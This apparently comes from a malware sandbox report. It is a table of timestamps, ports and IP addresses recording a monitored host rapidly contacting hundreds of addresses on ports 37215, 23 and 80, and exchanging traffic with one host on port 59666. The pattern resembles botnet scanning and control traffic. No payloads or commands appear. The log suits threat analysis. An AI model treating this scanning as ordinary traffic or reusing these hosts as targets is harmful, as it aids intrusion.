Mar 13, 2024 09:35:03.301173925 CET	57653	37215	192.168.2.15	197.39.101.65
Mar 13, 2024 09:35:03.301186085 CET	57653	37215	192.168.2.15	41.118.97.108
Mar 13, 2024 09:35:03.301186085 CET	57653	37215	192.168.2.15	197.86.98.191
Mar 13, 2024 09:35:03.301192999 CET	57653	37215	192.168.2.15	41.21.88.53
Mar 13, 2024 09:35:03.301204920 CET	57653	37215	192.168.2.15	41.91.202.104
Mar 13, 2024 09:35:03.301206112 CET	57653	37215	192.168.2.15	156.221.224.122
Mar 13, 2024 09:35:03.301211119 CET	57653	37215	192.168.2.15	41.204.25.39
Mar 13, 2024 09:35:03.301224947 CET	57653	37215	192.168.2.15	41.79.53.215
Mar 13, 2024 09:35:03.301224947 CET	57653	37215	192.168.2.15	156.54.29.178
Mar 13, 2024 09:35:03.301225901 CET	57653	37215	192.168.2.15	41.59.76.93
Mar 13, 2024 09:35:03.301224947 CET	57653	37215	192.168.2.15	41.4.225.19
Mar 13, 2024 09:35:03.301229000 CET	57653	37215	192.168.2.15	197.243.60.124
Mar 13, 2024 09:35:03.301275969 CET	57653	37215	192.168.2.15	197.181.207.236
Mar 13, 2024 09:35:03.301279068 CET	57653	37215	192.168.2.15	197.198.1.147
Mar 13, 2024 09:35:03.301285028 CET	57653	37215	192.168.2.15	197.250.121.199
Mar 13, 2024 09:35:03.301285028 CET	57653	37215	192.168.2.15	41.147.80.174
Mar 13, 2024 09:35:03.301290989 CET	57653	37215	192.168.2.15	197.85.194.135
Mar 13, 2024 09:35:03.301306963 CET	57653	37215	192.168.2.15	41.52.66.234
Mar 13, 2024 09:35:03.301309109 CET	57653	37215	192.168.2.15	41.136.174.49
Mar 13, 2024 09:35:03.301321030 CET	57653	37215	192.168.2.15	197.183.151.194
Mar 13, 2024 09:35:03.301321983 CET	57653	37215	192.168.2.15	156.19.38.165
Mar 13, 2024 09:35:03.301321030 CET	57653	37215	192.168.2.15	197.93.2.191
Mar 13, 2024 09:35:03.301335096 CET	57653	37215	192.168.2.15	41.211.233.107
Mar 13, 2024 09:35:03.301336050 CET	57653	37215	192.168.2.15	197.10.142.200
Mar 13, 2024 09:35:03.301337004 CET	57653	37215	192.168.2.15	156.237.29.167
Mar 13, 2024 09:35:03.301337004 CET	57653	37215	192.168.2.15	41.131.0.26
Mar 13, 2024 09:35:03.301348925 CET	57653	37215	192.168.2.15	197.28.204.192
Mar 13, 2024 09:35:03.301371098 CET	57653	37215	192.168.2.15	197.227.21.17
Mar 13, 2024 09:35:03.301372051 CET	57653	37215	192.168.2.15	197.94.11.56
Mar 13, 2024 09:35:03.301376104 CET	57653	37215	192.168.2.15	197.47.116.54
Mar 13, 2024 09:35:03.301389933 CET	57653	37215	192.168.2.15	41.250.161.225
Mar 13, 2024 09:35:03.301403046 CET	57653	37215	192.168.2.15	156.177.202.156
Mar 13, 2024 09:35:03.301414967 CET	57653	37215	192.168.2.15	197.133.207.158
Mar 13, 2024 09:35:03.301417112 CET	57653	37215	192.168.2.15	156.241.77.249
Mar 13, 2024 09:35:03.301453114 CET	57653	37215	192.168.2.15	41.143.10.247
Mar 13, 2024 09:35:03.301453114 CET	57653	37215	192.168.2.15	197.52.58.65
Mar 13, 2024 09:35:03.301466942 CET	57653	37215	192.168.2.15	197.101.183.144
Mar 13, 2024 09:35:03.301477909 CET	57653	37215	192.168.2.15	41.62.15.155
Mar 13, 2024 09:35:03.301480055 CET	57653	37215	192.168.2.15	156.224.66.131
Mar 13, 2024 09:35:03.301491976 CET	57653	37215	192.168.2.15	156.92.145.181
Mar 13, 2024 09:35:03.301500082 CET	57653	37215	192.168.2.15	156.68.232.162
Mar 13, 2024 09:35:03.301511049 CET	57653	37215	192.168.2.15	41.181.121.250
Mar 13, 2024 09:35:03.301515102 CET	57653	37215	192.168.2.15	197.26.145.219
Mar 13, 2024 09:35:03.301516056 CET	57653	37215	192.168.2.15	156.47.144.6
Mar 13, 2024 09:35:03.301526070 CET	57653	37215	192.168.2.15	197.142.137.79
Mar 13, 2024 09:35:03.301531076 CET	57653	37215	192.168.2.15	156.18.175.203
Mar 13, 2024 09:35:03.301536083 CET	57653	37215	192.168.2.15	197.9.178.126
Mar 13, 2024 09:35:03.301546097 CET	57653	37215	192.168.2.15	197.220.37.180
Mar 13, 2024 09:35:03.301574945 CET	57653	37215	192.168.2.15	41.2.64.237
Mar 13, 2024 09:35:03.301577091 CET	57653	37215	192.168.2.15	197.92.222.84
Mar 13, 2024 09:35:03.301577091 CET	57653	37215	192.168.2.15	197.110.28.132
Mar 13, 2024 09:35:03.301592112 CET	57653	37215	192.168.2.15	156.94.131.9
Mar 13, 2024 09:35:03.301594019 CET	57653	37215	192.168.2.15	41.39.176.4
Mar 13, 2024 09:35:03.301598072 CET	57653	37215	192.168.2.15	41.196.71.6
Mar 13, 2024 09:35:03.301609039 CET	57653	37215	192.168.2.15	41.10.158.81
Mar 13, 2024 09:35:03.301615953 CET	57653	37215	192.168.2.15	197.91.246.59
Mar 13, 2024 09:35:03.301646948 CET	57653	37215	192.168.2.15	156.233.79.55
Mar 13, 2024 09:35:03.301647902 CET	57653	37215	192.168.2.15	156.15.214.211
Mar 13, 2024 09:35:03.301656008 CET	57653	37215	192.168.2.15	197.130.171.14
Mar 13, 2024 09:35:03.301656961 CET	57653	37215	192.168.2.15	41.93.182.235
Mar 13, 2024 09:35:03.301656961 CET	57653	37215	192.168.2.15	197.47.135.9
Mar 13, 2024 09:35:03.301656961 CET	57653	37215	192.168.2.15	41.138.182.135
Mar 13, 2024 09:35:03.301659107 CET	57653	37215	192.168.2.15	156.75.68.248
Mar 13, 2024 09:35:03.301656961 CET	57653	37215	192.168.2.15	156.208.146.123
Mar 13, 2024 09:35:03.301666021 CET	57653	37215	192.168.2.15	197.180.204.224
Mar 13, 2024 09:35:03.301666021 CET	57653	37215	192.168.2.15	41.4.128.172
Mar 13, 2024 09:35:03.301677942 CET	57653	37215	192.168.2.15	156.80.26.219
Mar 13, 2024 09:35:03.301685095 CET	57653	37215	192.168.2.15	197.178.85.62
Mar 13, 2024 09:35:03.301698923 CET	57653	37215	192.168.2.15	41.237.49.236
Mar 13, 2024 09:35:03.301698923 CET	57653	37215	192.168.2.15	41.253.149.100
Mar 13, 2024 09:35:03.301712036 CET	57653	37215	192.168.2.15	41.35.230.225
Mar 13, 2024 09:35:03.301724911 CET	57653	37215	192.168.2.15	41.0.154.218
Mar 13, 2024 09:35:03.301728010 CET	57653	37215	192.168.2.15	41.42.243.65
Mar 13, 2024 09:35:03.301728964 CET	57653	37215	192.168.2.15	41.225.172.25
Mar 13, 2024 09:35:03.301748991 CET	57653	37215	192.168.2.15	41.146.92.154
Mar 13, 2024 09:35:03.301774025 CET	57653	37215	192.168.2.15	197.241.245.16
Mar 13, 2024 09:35:03.301778078 CET	57653	37215	192.168.2.15	156.250.172.69
Mar 13, 2024 09:35:03.301779032 CET	57653	37215	192.168.2.15	41.81.129.58
Mar 13, 2024 09:35:03.301783085 CET	57653	37215	192.168.2.15	41.215.69.144
Mar 13, 2024 09:35:03.301795006 CET	57653	37215	192.168.2.15	41.188.13.245
Mar 13, 2024 09:35:03.301795959 CET	57653	37215	192.168.2.15	156.154.218.53
Mar 13, 2024 09:35:03.301798105 CET	57653	37215	192.168.2.15	41.219.113.10
Mar 13, 2024 09:35:03.301810026 CET	57653	37215	192.168.2.15	41.107.171.142
Mar 13, 2024 09:35:03.301810026 CET	57653	37215	192.168.2.15	41.97.233.162
Mar 13, 2024 09:35:03.301810980 CET	57653	37215	192.168.2.15	156.160.38.205
Mar 13, 2024 09:35:03.301816940 CET	57653	37215	192.168.2.15	197.238.34.200
Mar 13, 2024 09:35:03.301820993 CET	57653	37215	192.168.2.15	41.189.104.95
Mar 13, 2024 09:35:03.301836014 CET	57653	37215	192.168.2.15	197.183.132.138
Mar 13, 2024 09:35:03.301836967 CET	57653	37215	192.168.2.15	197.233.72.159
Mar 13, 2024 09:35:03.301847935 CET	57653	37215	192.168.2.15	156.167.112.244
Mar 13, 2024 09:35:03.301847935 CET	57653	37215	192.168.2.15	41.76.253.95
Mar 13, 2024 09:35:03.301847935 CET	57653	37215	192.168.2.15	197.46.191.246
Mar 13, 2024 09:35:03.301865101 CET	57653	37215	192.168.2.15	41.169.11.35
Mar 13, 2024 09:35:03.301865101 CET	57653	37215	192.168.2.15	197.170.54.170
Mar 13, 2024 09:35:03.301867008 CET	57653	37215	192.168.2.15	197.88.25.246
Mar 13, 2024 09:35:03.301899910 CET	57653	37215	192.168.2.15	156.49.155.142
Mar 13, 2024 09:35:03.301911116 CET	57653	37215	192.168.2.15	197.196.50.144
Mar 13, 2024 09:35:03.301922083 CET	57653	37215	192.168.2.15	197.82.187.11
Mar 13, 2024 09:35:03.301924944 CET	57653	37215	192.168.2.15	41.107.198.157
Mar 13, 2024 09:35:03.301938057 CET	57653	37215	192.168.2.15	197.202.216.118
Mar 13, 2024 09:35:03.301940918 CET	57653	37215	192.168.2.15	156.122.130.161
Mar 13, 2024 09:35:03.301949024 CET	57653	37215	192.168.2.15	197.183.104.146
Mar 13, 2024 09:35:03.301959038 CET	57653	37215	192.168.2.15	156.225.227.149
Mar 13, 2024 09:35:03.301966906 CET	57653	37215	192.168.2.15	197.43.147.23
Mar 13, 2024 09:35:03.301975012 CET	57653	37215	192.168.2.15	197.192.170.84
Mar 13, 2024 09:35:03.302022934 CET	57653	37215	192.168.2.15	156.85.252.140
Mar 13, 2024 09:35:03.302025080 CET	57653	37215	192.168.2.15	197.94.214.44
Mar 13, 2024 09:35:03.302027941 CET	57653	37215	192.168.2.15	41.37.241.169
Mar 13, 2024 09:35:03.302042961 CET	57653	37215	192.168.2.15	156.201.103.234
Mar 13, 2024 09:35:03.302043915 CET	57653	37215	192.168.2.15	156.210.96.195
Mar 13, 2024 09:35:03.302059889 CET	57653	37215	192.168.2.15	156.6.228.15
Mar 13, 2024 09:35:03.302062988 CET	57653	37215	192.168.2.15	41.153.157.205
Mar 13, 2024 09:35:03.302062988 CET	57653	37215	192.168.2.15	197.12.9.152
Mar 13, 2024 09:35:03.302069902 CET	57653	37215	192.168.2.15	41.128.212.160
Mar 13, 2024 09:35:03.302082062 CET	57653	37215	192.168.2.15	197.66.250.45
Mar 13, 2024 09:35:03.302088022 CET	57653	37215	192.168.2.15	156.120.111.199
Mar 13, 2024 09:35:03.302089930 CET	57653	37215	192.168.2.15	41.66.88.204
Mar 13, 2024 09:35:03.302140951 CET	57653	37215	192.168.2.15	41.50.169.126
Mar 13, 2024 09:35:03.302143097 CET	57653	37215	192.168.2.15	156.158.223.25
Mar 13, 2024 09:35:03.302150011 CET	57653	37215	192.168.2.15	156.177.34.252
Mar 13, 2024 09:35:03.302160978 CET	57653	37215	192.168.2.15	156.160.95.214
Mar 13, 2024 09:35:03.302171946 CET	57653	37215	192.168.2.15	41.187.160.245
Mar 13, 2024 09:35:03.302172899 CET	57653	37215	192.168.2.15	197.228.95.145
Mar 13, 2024 09:35:03.302190065 CET	57653	37215	192.168.2.15	156.183.175.240
Mar 13, 2024 09:35:03.302191019 CET	57653	37215	192.168.2.15	197.233.119.39
Mar 13, 2024 09:35:03.302207947 CET	57653	37215	192.168.2.15	156.43.60.11
Mar 13, 2024 09:35:03.302238941 CET	57653	37215	192.168.2.15	41.167.158.120
Mar 13, 2024 09:35:03.302238941 CET	57653	37215	192.168.2.15	156.122.150.78
Mar 13, 2024 09:35:03.302238941 CET	57653	37215	192.168.2.15	156.168.152.164
Mar 13, 2024 09:35:03.302252054 CET	57653	37215	192.168.2.15	197.233.119.217
Mar 13, 2024 09:35:03.302258968 CET	57653	37215	192.168.2.15	197.74.114.189
Mar 13, 2024 09:35:03.302258968 CET	57653	37215	192.168.2.15	197.180.133.253
Mar 13, 2024 09:35:03.302268982 CET	57653	37215	192.168.2.15	41.209.150.188
Mar 13, 2024 09:35:03.302282095 CET	57653	37215	192.168.2.15	156.196.237.215
Mar 13, 2024 09:35:03.302282095 CET	57653	37215	192.168.2.15	197.225.154.97
Mar 13, 2024 09:35:03.302283049 CET	57653	37215	192.168.2.15	197.197.126.59
Mar 13, 2024 09:35:03.302298069 CET	57653	37215	192.168.2.15	41.237.65.208
Mar 13, 2024 09:35:03.302300930 CET	57653	37215	192.168.2.15	156.227.121.220
Mar 13, 2024 09:35:03.302301884 CET	57653	37215	192.168.2.15	197.31.1.72
Mar 13, 2024 09:35:03.302314043 CET	57653	37215	192.168.2.15	156.5.247.47
Mar 13, 2024 09:35:03.302314997 CET	57653	37215	192.168.2.15	156.145.29.142
Mar 13, 2024 09:35:03.302330971 CET	57653	37215	192.168.2.15	197.156.119.111
Mar 13, 2024 09:35:03.302356958 CET	57653	37215	192.168.2.15	41.215.83.164
Mar 13, 2024 09:35:03.302360058 CET	57653	37215	192.168.2.15	197.145.216.138
Mar 13, 2024 09:35:03.302370071 CET	57653	37215	192.168.2.15	156.106.20.152
Mar 13, 2024 09:35:03.302387953 CET	57653	37215	192.168.2.15	156.147.162.121
Mar 13, 2024 09:35:03.302391052 CET	57653	37215	192.168.2.15	41.53.30.232
Mar 13, 2024 09:35:03.302402020 CET	57653	37215	192.168.2.15	41.240.120.56
Mar 13, 2024 09:35:03.302405119 CET	57653	37215	192.168.2.15	156.49.52.206
Mar 13, 2024 09:35:03.302414894 CET	57653	37215	192.168.2.15	197.34.188.70
Mar 13, 2024 09:35:03.302416086 CET	57653	37215	192.168.2.15	41.2.84.59
Mar 13, 2024 09:35:03.302422047 CET	57653	37215	192.168.2.15	156.220.79.215
Mar 13, 2024 09:35:03.302428007 CET	57653	37215	192.168.2.15	41.231.112.14
Mar 13, 2024 09:35:03.302460909 CET	57653	37215	192.168.2.15	197.223.88.115
Mar 13, 2024 09:35:03.302463055 CET	57653	37215	192.168.2.15	197.162.60.30
Mar 13, 2024 09:35:03.302462101 CET	57653	37215	192.168.2.15	197.13.125.241
Mar 13, 2024 09:35:03.302476883 CET	57653	37215	192.168.2.15	156.108.142.228
Mar 13, 2024 09:35:03.302479029 CET	57653	37215	192.168.2.15	197.198.124.172
Mar 13, 2024 09:35:03.302479029 CET	57653	37215	192.168.2.15	197.91.34.217
Mar 13, 2024 09:35:03.302486897 CET	57653	37215	192.168.2.15	41.229.215.27
Mar 13, 2024 09:35:03.302506924 CET	57653	37215	192.168.2.15	41.221.254.129
Mar 13, 2024 09:35:03.302506924 CET	57653	37215	192.168.2.15	41.88.24.223
Mar 13, 2024 09:35:03.302511930 CET	57653	37215	192.168.2.15	41.189.80.51
Mar 13, 2024 09:35:03.302525043 CET	57653	37215	192.168.2.15	41.196.128.78
Mar 13, 2024 09:35:03.302526951 CET	57653	37215	192.168.2.15	41.179.2.57
Mar 13, 2024 09:35:03.302540064 CET	57653	37215	192.168.2.15	156.146.146.77
Mar 13, 2024 09:35:03.302568913 CET	57653	37215	192.168.2.15	197.54.72.13
Mar 13, 2024 09:35:03.302570105 CET	57653	37215	192.168.2.15	197.46.79.135
Mar 13, 2024 09:35:03.302575111 CET	57653	37215	192.168.2.15	156.197.194.23
Mar 13, 2024 09:35:03.302592993 CET	57653	37215	192.168.2.15	41.223.188.72
Mar 13, 2024 09:35:03.302597046 CET	57653	37215	192.168.2.15	156.53.113.219
Mar 13, 2024 09:35:03.302606106 CET	57653	37215	192.168.2.15	197.216.212.68
Mar 13, 2024 09:35:03.302612066 CET	57653	37215	192.168.2.15	41.151.189.232
Mar 13, 2024 09:35:03.302625895 CET	57653	37215	192.168.2.15	156.226.185.54
Mar 13, 2024 09:35:03.302632093 CET	57653	37215	192.168.2.15	197.207.85.99
Mar 13, 2024 09:35:03.302632093 CET	57653	37215	192.168.2.15	197.203.5.60
Mar 13, 2024 09:35:03.302634001 CET	57653	37215	192.168.2.15	41.74.240.109
Mar 13, 2024 09:35:03.302645922 CET	57653	37215	192.168.2.15	197.130.30.21
Mar 13, 2024 09:35:03.302680016 CET	57653	37215	192.168.2.15	197.107.82.135
Mar 13, 2024 09:35:03.302683115 CET	57653	37215	192.168.2.15	197.160.56.98
Mar 13, 2024 09:35:03.302683115 CET	57653	37215	192.168.2.15	41.18.102.51
Mar 13, 2024 09:35:03.302685976 CET	57653	37215	192.168.2.15	156.119.16.203
Mar 13, 2024 09:35:03.302706957 CET	57653	37215	192.168.2.15	156.127.205.207
Mar 13, 2024 09:35:03.302706957 CET	57653	37215	192.168.2.15	197.66.179.169
Mar 13, 2024 09:35:03.302714109 CET	57653	37215	192.168.2.15	41.88.250.35
Mar 13, 2024 09:35:03.302714109 CET	57653	37215	192.168.2.15	197.91.134.197
Mar 13, 2024 09:35:03.302726984 CET	57653	37215	192.168.2.15	41.55.45.64
Mar 13, 2024 09:35:03.302732944 CET	57653	37215	192.168.2.15	156.14.32.65
Mar 13, 2024 09:35:03.302732944 CET	57653	37215	192.168.2.15	197.131.253.197
Mar 13, 2024 09:35:03.302732944 CET	57653	37215	192.168.2.15	197.224.55.112
Mar 13, 2024 09:35:03.320018053 CET	35976	23	192.168.2.15	94.120.30.112
Mar 13, 2024 09:35:03.334738016 CET	80	45886	104.105.93.19	192.168.2.15
Mar 13, 2024 09:35:03.334804058 CET	45886	80	192.168.2.15	104.105.93.19
Mar 13, 2024 09:35:03.334952116 CET	45886	80	192.168.2.15	104.105.93.19
Mar 13, 2024 09:35:03.334952116 CET	45886	80	192.168.2.15	104.105.93.19
Mar 13, 2024 09:35:03.334984064 CET	45894	80	192.168.2.15	104.105.93.19
Mar 13, 2024 09:35:03.395776987 CET	54202	59666	192.168.2.15	94.156.66.36
Mar 13, 2024 09:35:03.402581930 CET	80	49944	107.190.228.44	192.168.2.15
Mar 13, 2024 09:35:03.402641058 CET	49944	80	192.168.2.15	107.190.228.44
Mar 13, 2024 09:35:03.402792931 CET	49944	80	192.168.2.15	107.190.228.44
Mar 13, 2024 09:35:03.402792931 CET	49944	80	192.168.2.15	107.190.228.44
Mar 13, 2024 09:35:03.402915001 CET	49954	80	192.168.2.15	107.190.228.44
Mar 13, 2024 09:35:03.422816038 CET	80	45894	104.105.93.19	192.168.2.15
Mar 13, 2024 09:35:03.422866106 CET	45894	80	192.168.2.15	104.105.93.19
Mar 13, 2024 09:35:03.422883987 CET	45894	80	192.168.2.15	104.105.93.19
Mar 13, 2024 09:35:03.423110008 CET	80	45886	104.105.93.19	192.168.2.15
Mar 13, 2024 09:35:03.423377037 CET	80	45886	104.105.93.19	192.168.2.15
Mar 13, 2024 09:35:03.423437119 CET	45886	80	192.168.2.15	104.105.93.19
Mar 13, 2024 09:35:03.423533916 CET	80	45886	104.105.93.19	192.168.2.15
Mar 13, 2024 09:35:03.423583984 CET	45886	80	192.168.2.15	104.105.93.19
Mar 13, 2024 09:35:03.424988985 CET	80	60192	92.117.151.104	192.168.2.15
Mar 13, 2024 09:35:03.425115108 CET	60202	80	192.168.2.15	92.117.151.104
Mar 13, 2024 09:35:03.425143957 CET	60192	80	192.168.2.15	92.117.151.104
Mar 13, 2024 09:35:03.425143957 CET	60192	80	192.168.2.15	92.117.151.104
Mar 13, 2024 09:35:03.425144911 CET	60192	80	192.168.2.15	92.117.151.104
Mar 13, 2024 09:35:03.490817070 CET	23	56885	80.86.73.93	192.168.2.15
Mar 13, 2024 09:35:03.510871887 CET	80	45894	104.105.93.19	192.168.2.15
Mar 13, 2024 09:35:03.510921001 CET	45894	80	192.168.2.15	104.105.93.19
Mar 13, 2024 09:35:03.541258097 CET	23	35976	94.120.30.112	192.168.2.15
Mar 13, 2024 09:35:03.541332960 CET	35976	23	192.168.2.15	94.120.30.112
Mar 13, 2024 09:35:03.544012070 CET	50854	80	192.168.2.15	116.162.161.24
Mar 13, 2024 09:35:03.558172941 CET	80	49944	107.190.228.44	192.168.2.15
Mar 13, 2024 09:35:03.558208942 CET	80	49954	107.190.228.44	192.168.2.15
Mar 13, 2024 09:35:03.558393955 CET	49954	80	192.168.2.15	107.190.228.44
Mar 13, 2024 09:35:03.558393955 CET	49954	80	192.168.2.15	107.190.228.44
Mar 13, 2024 09:35:03.562606096 CET	59666	54202	94.156.66.36	192.168.2.15
Mar 13, 2024 09:35:03.562650919 CET	54202	59666	192.168.2.15	94.156.66.36
Mar 13, 2024 09:35:03.562728882 CET	54202	59666	192.168.2.15	94.156.66.36
Mar 13, 2024 09:35:03.572871923 CET	23	56885	221.153.207.202	192.168.2.15
Mar 13, 2024 09:35:03.582465887 CET	23	56885	183.99.68.219	192.168.2.15
Mar 13, 2024 09:35:03.594018936 CET	80	46008	182.23.79.157	192.168.2.15
Mar 13, 2024 09:35:03.594083071 CET	46008	80	192.168.2.15	182.23.79.157
Mar 13, 2024 09:35:03.594208956 CET	46008	80	192.168.2.15	182.23.79.157
Mar 13, 2024 09:35:03.594208956 CET	46008	80	192.168.2.15	182.23.79.157
Mar 13, 2024 09:35:03.594250917 CET	46018	80	192.168.2.15	182.23.79.157
Mar 13, 2024 09:35:03.595227957 CET	23	56885	188.2.51.124	192.168.2.15
Mar 13, 2024 09:35:03.596842051 CET	80	35000	23.58.104.81	192.168.2.15
Mar 13, 2024 09:35:03.596892118 CET	35000	80	192.168.2.15	23.58.104.81
Mar 13, 2024 09:35:03.597172022 CET	80	52752	184.85.86.34	192.168.2.15
Mar 13, 2024 09:35:03.597213984 CET	52752	80	192.168.2.15	184.85.86.34
Mar 13, 2024 09:35:03.606334925 CET	80	60202	92.117.151.104	192.168.2.15
Mar 13, 2024 09:35:03.606394053 CET	60202	80	192.168.2.15	92.117.151.104
Mar 13, 2024 09:35:03.606431961 CET	60202	80	192.168.2.15	92.117.151.104
Mar 13, 2024 09:35:03.608011007 CET	80	60192	92.117.151.104	192.168.2.15
Mar 13, 2024 09:35:03.608026028 CET	49944	80	192.168.2.15	107.190.228.44
Mar 13, 2024 09:35:03.608428955 CET	80	60192	92.117.151.104	192.168.2.15
Mar 13, 2024 09:35:03.608597040 CET	60192	80	192.168.2.15	92.117.151.104
Mar 13, 2024 09:35:03.640594959 CET	23	56885	180.253.109.215	192.168.2.15
Mar 13, 2024 09:35:03.714042902 CET	80	49954	107.190.228.44	192.168.2.15
Mar 13, 2024 09:35:03.714102983 CET	49954	80	192.168.2.15	107.190.228.44
Mar 13, 2024 09:35:03.729688883 CET	59666	54202	94.156.66.36	192.168.2.15
Mar 13, 2024 09:35:03.729741096 CET	54202	59666	192.168.2.15	94.156.66.36
Mar 13, 2024 09:35:03.763483047 CET	80	49944	107.190.228.44	192.168.2.15
Mar 13, 2024 09:35:03.763525009 CET	80	49944	107.190.228.44	192.168.2.15
Mar 13, 2024 09:35:03.763585091 CET	80	49944	107.190.228.44	192.168.2.15
Mar 13, 2024 09:35:03.763592005 CET	49944	80	192.168.2.15	107.190.228.44
Mar 13, 2024 09:35:03.763629913 CET	49944	80	192.168.2.15	107.190.228.44
Mar 13, 2024 09:35:03.772659063 CET	80	49944	107.190.228.44	192.168.2.15
Mar 13, 2024 09:35:03.772710085 CET	49944	80	192.168.2.15	107.190.228.44
Mar 13, 2024 09:35:03.785723925 CET	80	60202	92.117.151.104	192.168.2.15
Mar 13, 2024 09:35:03.785775900 CET	60202	80	192.168.2.15	92.117.151.104
Mar 13, 2024 09:35:03.856106997 CET	80	50854	116.162.161.24	192.168.2.15
Mar 13, 2024 09:35:03.896009922 CET	50868	80	192.168.2.15	116.162.161.24
Mar 13, 2024 09:35:03.896030903 CET	54828	80	192.168.2.15	35.73.74.28
Mar 13, 2024 09:35:03.896037102 CET	34890	80	192.168.2.15	34.143.46.47
Mar 13, 2024 09:35:03.896039963 CET	33840	80	192.168.2.15	168.168.6.30
Mar 13, 2024 09:35:03.896173000 CET	58432	80	192.168.2.15	37.16.12.162
Mar 13, 2024 09:35:03.896256924 CET	51002	80	192.168.2.15	23.206.48.35
Mar 13, 2024 09:35:03.898284912 CET	59666	54202	94.156.66.36	192.168.2.15
Mar 13, 2024 09:35:03.936990976 CET	80	46008	182.23.79.157	192.168.2.15
Mar 13, 2024 09:35:03.937084913 CET	80	46018	182.23.79.157	192.168.2.15
Mar 13, 2024 09:35:03.937165022 CET	46018	80	192.168.2.15	182.23.79.157
Mar 13, 2024 09:35:03.937237024 CET	57141	80	192.168.2.15	193.124.152.223
Mar 13, 2024 09:35:03.937238932 CET	57141	80	192.168.2.15	83.174.176.231
Mar 13, 2024 09:35:03.937257051 CET	57141	80	192.168.2.15	70.223.131.114
Mar 13, 2024 09:35:03.937257051 CET	57141	80	192.168.2.15	163.96.145.126
Mar 13, 2024 09:35:03.937268019 CET	57141	80	192.168.2.15	59.78.111.159
Mar 13, 2024 09:35:03.937273026 CET	57141	80	192.168.2.15	39.192.185.141
Mar 13, 2024 09:35:03.937285900 CET	57141	80	192.168.2.15	154.219.128.19
Mar 13, 2024 09:35:03.937294006 CET	46018	80	192.168.2.15	182.23.79.157
Mar 13, 2024 09:35:03.937294006 CET	57141	80	192.168.2.15	25.88.153.179
Mar 13, 2024 09:35:03.937298059 CET	57141	80	192.168.2.15	98.199.226.79
Mar 13, 2024 09:35:03.937299967 CET	57141	80	192.168.2.15	140.46.173.42
Mar 13, 2024 09:35:03.937306881 CET	57141	80	192.168.2.15	67.254.121.53
Mar 13, 2024 09:35:03.937306881 CET	57141	80	192.168.2.15	148.17.74.181
Mar 13, 2024 09:35:03.937306881 CET	57141	80	192.168.2.15	1.93.70.234
Mar 13, 2024 09:35:03.937318087 CET	57141	80	192.168.2.15	202.223.80.34
Mar 13, 2024 09:35:03.937328100 CET	57141	80	192.168.2.15	81.110.106.204
Mar 13, 2024 09:35:03.937334061 CET	57141	80	192.168.2.15	61.85.9.57
Mar 13, 2024 09:35:03.937339067 CET	57141	80	192.168.2.15	97.156.143.93
Mar 13, 2024 09:35:03.937350035 CET	57141	80	192.168.2.15	115.183.182.50
Mar 13, 2024 09:35:03.937350035 CET	57141	80	192.168.2.15	73.34.208.161
Mar 13, 2024 09:35:03.937350988 CET	57141	80	192.168.2.15	52.69.32.119
Mar 13, 2024 09:35:03.937361956 CET	57141	80	192.168.2.15	185.89.234.1
Mar 13, 2024 09:35:03.937366009 CET	57141	80	192.168.2.15	138.38.16.120
Mar 13, 2024 09:35:03.937366009 CET	57141	80	192.168.2.15	4.249.76.77
Mar 13, 2024 09:35:03.937366962 CET	57141	80	192.168.2.15	2.170.236.234
Mar 13, 2024 09:35:03.937381983 CET	57141	80	192.168.2.15	197.219.156.191
Mar 13, 2024 09:35:03.937381983 CET	57141	80	192.168.2.15	213.224.135.172
Mar 13, 2024 09:35:03.937398911 CET	57141	80	192.168.2.15	78.186.205.237
Mar 13, 2024 09:35:03.937400103 CET	57141	80	192.168.2.15	188.177.226.232
Mar 13, 2024 09:35:03.937402964 CET	57141	80	192.168.2.15	80.80.64.108
Mar 13, 2024 09:35:03.937416077 CET	57141	80	192.168.2.15	43.133.84.187
Mar 13, 2024 09:35:03.937416077 CET	57141	80	192.168.2.15	159.216.142.73
Mar 13, 2024 09:35:03.937426090 CET	57141	80	192.168.2.15	217.137.60.11
Mar 13, 2024 09:35:03.937434912 CET	57141	80	192.168.2.15	190.162.208.56
Mar 13, 2024 09:35:03.937437057 CET	57141	80	192.168.2.15	122.139.109.170
Mar 13, 2024 09:35:03.937437057 CET	57141	80	192.168.2.15	94.54.250.116
Mar 13, 2024 09:35:03.937437057 CET	57141	80	192.168.2.15	133.245.146.62
Mar 13, 2024 09:35:03.937444925 CET	57141	80	192.168.2.15	103.137.27.241
Mar 13, 2024 09:35:03.937446117 CET	57141	80	192.168.2.15	211.171.57.180
Mar 13, 2024 09:35:03.937458992 CET	57141	80	192.168.2.15	77.217.250.162
Mar 13, 2024 09:35:03.937479019 CET	57141	80	192.168.2.15	76.54.17.36
Mar 13, 2024 09:35:03.937479019 CET	57141	80	192.168.2.15	223.87.59.71
Mar 13, 2024 09:35:03.937479019 CET	57141	80	192.168.2.15	41.243.206.225
Mar 13, 2024 09:35:03.937498093 CET	57141	80	192.168.2.15	61.1.104.166
Mar 13, 2024 09:35:03.937500954 CET	57141	80	192.168.2.15	42.161.77.219
Mar 13, 2024 09:35:03.937506914 CET	57141	80	192.168.2.15	210.199.158.250
Mar 13, 2024 09:35:03.937506914 CET	57141	80	192.168.2.15	213.197.117.58
Mar 13, 2024 09:35:03.937511921 CET	57141	80	192.168.2.15	133.124.27.224
Mar 13, 2024 09:35:03.937517881 CET	57141	80	192.168.2.15	104.15.170.147
Mar 13, 2024 09:35:03.937524080 CET	57141	80	192.168.2.15	190.65.226.81
Mar 13, 2024 09:35:03.937542915 CET	57141	80	192.168.2.15	93.58.237.91
Mar 13, 2024 09:35:03.937549114 CET	57141	80	192.168.2.15	152.226.73.199
Mar 13, 2024 09:35:03.937549114 CET	57141	80	192.168.2.15	121.42.141.83
Mar 13, 2024 09:35:03.937549114 CET	57141	80	192.168.2.15	54.111.68.14
Mar 13, 2024 09:35:03.937556028 CET	57141	80	192.168.2.15	49.5.65.143
Mar 13, 2024 09:35:03.937561989 CET	57141	80	192.168.2.15	67.99.55.248
Mar 13, 2024 09:35:03.937580109 CET	57141	80	192.168.2.15	72.191.158.141
Mar 13, 2024 09:35:03.937582016 CET	57141	80	192.168.2.15	73.120.13.104
Mar 13, 2024 09:35:03.937588930 CET	57141	80	192.168.2.15	68.113.105.103
Mar 13, 2024 09:35:03.937591076 CET	57141	80	192.168.2.15	80.102.177.30
Mar 13, 2024 09:35:03.937602043 CET	57141	80	192.168.2.15	202.94.13.174
Mar 13, 2024 09:35:03.937621117 CET	57141	80	192.168.2.15	34.187.22.83
Mar 13, 2024 09:35:03.937622070 CET	57141	80	192.168.2.15	2.164.29.255
Mar 13, 2024 09:35:03.937623978 CET	57141	80	192.168.2.15	115.8.147.224
